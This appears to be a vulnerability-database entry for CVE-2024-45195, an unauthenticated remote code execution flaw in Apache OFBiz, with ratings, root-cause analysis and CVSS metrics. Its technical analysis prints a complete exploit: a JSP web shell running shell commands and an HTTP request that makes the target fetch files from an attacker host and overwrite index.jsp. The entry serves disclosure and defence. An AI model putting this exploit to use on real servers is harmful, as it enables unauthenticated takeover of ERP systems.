Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
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CVE-2024-45195

Disclosure Date: September 04, 2024
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Description

Direct Request (‘Forced Browsing’) vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 18.12.16.

Users are recommended to upgrade to version 18.12.16, which fixes the issue.

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Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. CVE-2024-45195 is a third patch bypass for a remote code execution vulnerability; the same vulnerability root cause is also tracked under the following identifiers: CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856. Two of these CVEs are listed in CISA’s KEV catalog.

When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented. This controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map. As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

Notably, this vulnerability report was a bug collision report, and the following security researchers discovered and reported CVE-2024-45195:

  • shin24 from National Cyber Security Vietnam (finder)
  • LuanPV from National Cyber Security Vietnam (finder)
  • Hasib Vhora, Senior Threat Researcher, SonicWall (finder)
  • Xenc from SGLAB of Legendsec at Qi’anxin Group (finder)
  • Ryan Emmons, Lead Security Researcher at Rapid7 (finder)

Remote code execution payloads for CVE-2024-45195, targeting a Linux host, are below. This attack vector will clobber an existing JSP file and write a web shell within the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>
$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

After starting an accessible web server in the directory with the above files, perform the following request to the target for RCE:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

For a full technical analysis of CVE-2024-45195 and the previous OFBiz CVEs, refer to the Rapid7 analysis blog post.

CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None

General Information

Vendors

  • apache

Products

  • ofbiz

Additional Info

Technical Analysis